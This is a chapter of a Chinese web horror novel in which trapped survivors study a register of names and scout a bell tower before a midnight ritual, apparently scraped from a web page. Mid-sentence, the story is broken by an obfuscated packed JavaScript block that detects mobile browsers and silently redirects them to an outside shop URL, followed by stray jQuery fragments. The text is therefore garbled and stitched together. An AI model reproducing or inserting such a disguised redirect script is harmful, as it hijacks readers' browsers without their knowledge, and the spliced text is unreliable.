8. 沉默的村庄
作品:《噩梦候车间[无限]》 地窖里带出来的粮食,味道实在难以下咽。那些发黑的谷粒,煮出来是一锅糊糊,带着浓重的霉味和土腥气。那些块茎,烤过之后依旧苦涩,吃下去胃里像塞了块石头。但没人抱怨,每个人都沉默地吃着自己那份,因为身体需要热量,活下去需要力气。
水也不够。他们从各处搜集来的破罐烂碗里存下的雨水和井水,混浊不堪,必须沉淀很久才能勉强喝一点。喉咙总是干的,嘴唇起了皮。
但比饥饿干渴更磨人的,是那种无所不在的压抑和恐惧。白天,村庄死一般寂静,可你知道那些灰白的影子就藏在某处,可能在脚下的地底,可能在隔壁封死的屋里。夜晚,钟声一响,它们就出来游荡,脚步声在街上拖沓,有时还会停在门外,用那种不像活人的声音低语引诱。
木楼成了他们临时的堡垒,却并不让人觉得安全。墙壁太薄,门栓不够结实,窗户也挡不住什么东西。每个人都睡不踏实,一点风吹草动就会惊醒,手握紧身边能找到的任何“武器”——半截木棍,一块锋利的碎陶片,一把生锈的柴刀。
许听眠负责值后半夜的岗。他靠在窗边,眼睛看着外面黑漆漆的巷子,耳朵听着楼里的动静。苏漫和陈哲睡在离他最近的地方,呼吸轻微。王猛和李远靠在另一边墙角,即使睡着,身体也绷着。赵小雨和张浩蜷缩在角落里,眉头紧锁,显然在做噩梦。
他看着他们,心里沉甸甸的。带他们找到生路,这个念头像块大石头压着他。他想起宿舍里的兄弟,想起导师催论文时恨铁不成钢的表情,想起食堂大妈打菜时总会给他多舀一勺。那些平常得不能再平常的日子,现在想起来,每一个细节都闪着光,他必须回去。
天快亮的时候,钟声又响了。还是那种从地底升上来的、冰凉沉重的响声。许听眠立刻打起精神,示意大家别动。钟声持续的时间似乎比白天长一些,接着,街上传来那些熟悉的、拖沓的脚步声。它们像潮水一样从钟楼方向涌出来,漫过街道,钻进每条巷子。
这一次,它们似乎离木楼特别近。有好几个灰白的影子就停在了木楼外面,不动了。许听眠透过窗缝,能看到它们模糊的轮廓,还有那些僵硬的、挂着诡异笑容的侧脸。它们就那样站着,好像在听,在嗅。
木楼里死一般寂静,连呼吸声都压到了最低。许听眠能听到自己心跳的声音,咚咚咚,撞着胸口。
不知道过了多久,也许只有几分钟,却像几个世纪那么长。外面的影子终于动了,慢吞吞地转身,拖着步子离开了。脚步声渐渐远去,消失在巷子深处。
直到外面彻底没了声音,许听眠才松了口气,后背的衣服已经被冷汗湿透了。
“它们……好像在找什么。”苏漫坐起身,声音很轻。
“可能是找我们,”王猛也醒了,脸色不好看,“也可能是在找……别的。”
李远揉了揉太阳穴:“那个地窖……我们动了里面的东西。”
这话让大家心里都是一紧。陈哲下意识地看了一眼墙角那个用破布包着的包裹——里面是那些写着名字的薄膜,残名簿。
“白天必须加快进度了。”许听眠说,“我们要搞清楚钟声的确切规律,搞清楚晚上什么时候是‘子夜’,还要从那些名字里找出最可能的那一个。”
天亮后,他们按照计划分头行动。
苏漫和陈哲守着那个破布包,开始研究残名簿。他们不敢出声念,只能用手指着,一个个看。薄膜很脆,一不小心就会弄破,上面的字迹又模糊,很多根本认不出来。那些能认出来的名字,也都普普通通,王二,李三,赵家媳妇……看不出有什么特别的。
“这里有一个,”陈哲指着一张保存稍好的薄膜,上面写着“孙守义”,后面还有一个奇怪的符号,像是一只闭着的眼睛,“这个符号在其他名字后面也有,但不多。”
苏漫记下了这个名字。她又翻看了很久,发现有些名字后面划着叉,有些划着圈,还有一些重复出现,字迹却不同,好像被写了好几次。这让她想起村志补录里说的,“名字”在这里可能被消耗或争夺。难道划掉的名字,代表那个灵魂已经彻底……消散了?或者被“使用”了?
另一边,王猛、李远和许听眠再次出发,去钟楼附近做最后一次侦查。这次他们更加小心,完全避开广场,只在外围的巷道和房屋之间穿行,从不同的角度观察钟楼和周围的地形。
钟楼在白天看起来依旧死气沉沉,黑洞洞的入口像一张嘴。他们注意到,钟楼底层似乎有一些门洞或窗洞,但都被乱七八糟的东西堵死了。只有顶部的钟亭四面敞开,那口黑沉沉的大钟悬在里面,一动不动。
“如果子夜要靠近,甚至进到钟楼里面,”王猛低声说,“入口很可能就是那个被堵住的门。但我们怎么在不惊动那些东西的情况下进去?”
“也许不用进去,”许听眠观察着钟楼的结构,“‘钟眼’可能指的是钟本身,或者钟亭的某个位置。我们可能只需要在钟楼下,或者广场上,在正确的时间,说出真名。”
“但那样我们就会完全暴露在广场上,”李远摇头,“太危险了。那些村民,还有晚上那个会模仿声音的东西,可能都会出现。”
他们一边观察,一边在脑子里勾勒行动的路线和可能的藏身点。钟楼广场四周的房屋大多破败,但有几栋看起来相对完整。他们需要找到一个既能观察到钟楼和广场,又能在必要时快速撤离,还能在一定程度上遮挡身形的地方。
转了大半天,他们大致选定了两个位置:一个是广场西北角一栋两层土楼的二楼,窗户正对钟楼,但窗户破损,容易暴露;另一个是广场东侧一间低矮的砖房,位置偏一些,但有个小小的后院,院墙可以翻越,通往后面的巷子,撤退比较方便。
“行动的时候,不能所有人都上去,”许听眠说,“需要有人在外面接应,以防万一。”
他们记下路线,返回木楼。
下午,赵小雨和张浩那边有了点进展。他们试着用找到的一个破铁片当锅,架在几块砖头上,下面用捡来的干燥木屑和碎布引火,小心翼翼地烤那些块茎和谷粒。虽然烟有点大,他们很担心引来东西,但幸运的是,白天似乎没有村民活动。烤过的食物虽然依旧难吃,但那股霉味和苦涩味淡了一些,至少能勉强吞下去了。他们还把一些谷粒磨成粉,混着水搅成糊,准备下次吃。
这是一个小小的鼓舞。能自己弄熟食物,意味着他们能坚持更久一点。
傍晚,第四次钟声响起。这一次,苏mar记下了精确的时间点——从上次钟声结束,到这次钟声开始,间隔大约是七个半小时。
“如果按照这个间隔推算,”苏漫在地上用炭笔画着,“下一次钟声应该在……深夜,大概是我们平时晚上十一二点的时候。再下一次,就是第二天天快亮的时候。”她抬起头,“如果子夜是一个关键点,那么深夜那次钟声,很可能就是‘钟眼睁开’的时刻。”
“但也有可能,子夜那个时刻,钟声会和平常不一样,”陈哲推了推眼镜,“比如更长,更响,或者……钟楼本身会有什么变化。”
“我们需要去确认,”许听眠说,“今天晚上,至少要去一个人,在远处观察深夜那次钟声时,钟楼和广场的情况。”
这是一个危险的任务。深夜,是那些东西活动最频繁的时候,而且还要靠近钟楼区域。
“我去。”王猛说,“我当过兵,潜行和观察我在行。”
“我跟你一起,”李远道,“两个人有个照应。”
许听眠想了想,同意了。但他叮嘱:“只观察,绝对不要靠近,不要发出任何声音。一旦有危险,立刻撤回,安全第一。”
夜幕再次降临,黑暗如同墨汁,将村庄彻底吞没。王猛和李远带上简单的装备和武器,悄无声息地离开了木楼,消失在巷道的阴影里。
木楼里剩下的人,心都悬着。许听眠守在窗边,苏漫和陈哲继续研究残名
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078992|195301||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
簿,赵小雨和张浩缩在角落里,默默祈祷。
时间过得很慢。外面一片死寂,连风声都听不见。偶尔有不知名的夜鸟发出一两声短促凄厉的鸣叫,让人心惊肉跳。
许听眠看着外面浓得化不开的黑暗,思绪飘回了学校。这个时候,图书馆应该刚关门吧?宿舍里应该很热闹,打游戏的,看剧的,讨论明天吃什么的……他甩甩头,强迫自己集中精神。
不知过了多久,远处传来了极轻微的脚步声。许听眠立刻警惕起来,示意其他人别动。
脚步声停在门外,然后是约定好的、轻轻的叩击声。
是王猛和李远回来了。
门打开,两人闪身进来,脸色都有些发白,带着劫后余生的庆幸。
“怎么样?”苏漫急忙问。
王猛喝了口水,缓了口气,才低声说:“我们摸到了广场东边那间砖房,躲在院墙后面观察。快到预估时间的时候,钟楼那边……果然有变化。”
李远接话:“不是钟声先响。是钟楼本身,那些堵住门洞的杂物,好像……自己动了。然后,从钟楼底层的黑暗里,走出来一个人。”
“一个人?”许听眠追问。
“不,应该不是活人,”王猛摇头,“走路的姿势很怪,但不像其他村民那么僵硬。它走到钟楼前面,仰头看着上面的钟。然后……钟才响了。”
“这次的钟声,”李远形容着,“和白天、傍晚的都不一样。声音没那么响,但是……更沉,更闷,好像不是从钟里发出来的,而是从地底,从整个钟楼里一起震出来的。钟响的时候,钟亭里那口大钟,好像……隐隐约约,发了一下光。很暗的红光,一闪就没了。”
“红光?像眼睛睁开那样?”陈哲问。
“不好说,太快了,也可能是错觉。”王猛说,“但那个从钟楼里出来的人影,在钟声响的时候,抬起了手,对着钟,好像在做着什么……然后,广场四周的黑暗里,那些村民就出现了,比平时更多,它们围着广场,但不上前,就那么站着,直到钟声结束。”
“钟声一停,那个人影就退回钟楼里了,那些村民也很快散开,消失了。”李远补充,“整个过程中,广场上除了那个人影,没有其他村民上去。它们好像……不敢踏上广场,至少在那个时刻不敢。”
这个信息非常重要!这意味着,在“钟眼睁开”的特殊钟声响起时,广场上可能相对“安全”,至少不会有大量村民围攻。但那个从钟楼里出来的神秘人影,无疑是最大的变数和危险。
“那个人影,会是‘最初之缚者’吗?还是别的什么?”苏漫猜测。
“不知道,”许听眠沉思,“但它是从钟楼里出来的,很可能和仪式的核心有关。我们到时候要面对它。”
压力更大了。他们不仅要找准时机,说出真名,还要面对一个未知的、可能极其危险的存在。
“还有,”王猛想起什么,脸色更凝重了,“我们往回走的时候,好像……被跟踪了。不是那些村民,脚步声很轻,很快,躲在阴影里。我们绕了好几个圈子,才甩掉。可能是晚上那个会模仿声音的东西,也可能……是别的。”
被盯上了。这个认知让木楼里的空气又冷了几分。
许听眠深吸一口气。没有退路了。信息已经收集得差不多,残名簿的研究进展缓慢,但也不能再拖了。距离七天的期限,已经过去了三天(他们估计)。必须在下一个“子夜”到来时行动。
“明天白天,我们做最后的准备,”许听眠说,“确定最终的行动人选、路线和方案。明天晚上……我们就去钟楼。”
他的话让所有人都沉默下来。恐惧是实实在在的,但躲在这里也只是等死。拼命一搏,或许还有一线生机。
“我需要那个名字,”许听眠看向苏漫和陈哲,“最可能的那一个。”
苏漫和陈哲对视一眼,将那张写着“孙守义”和闭眼符号的薄膜,轻轻推到了许听眠面前。

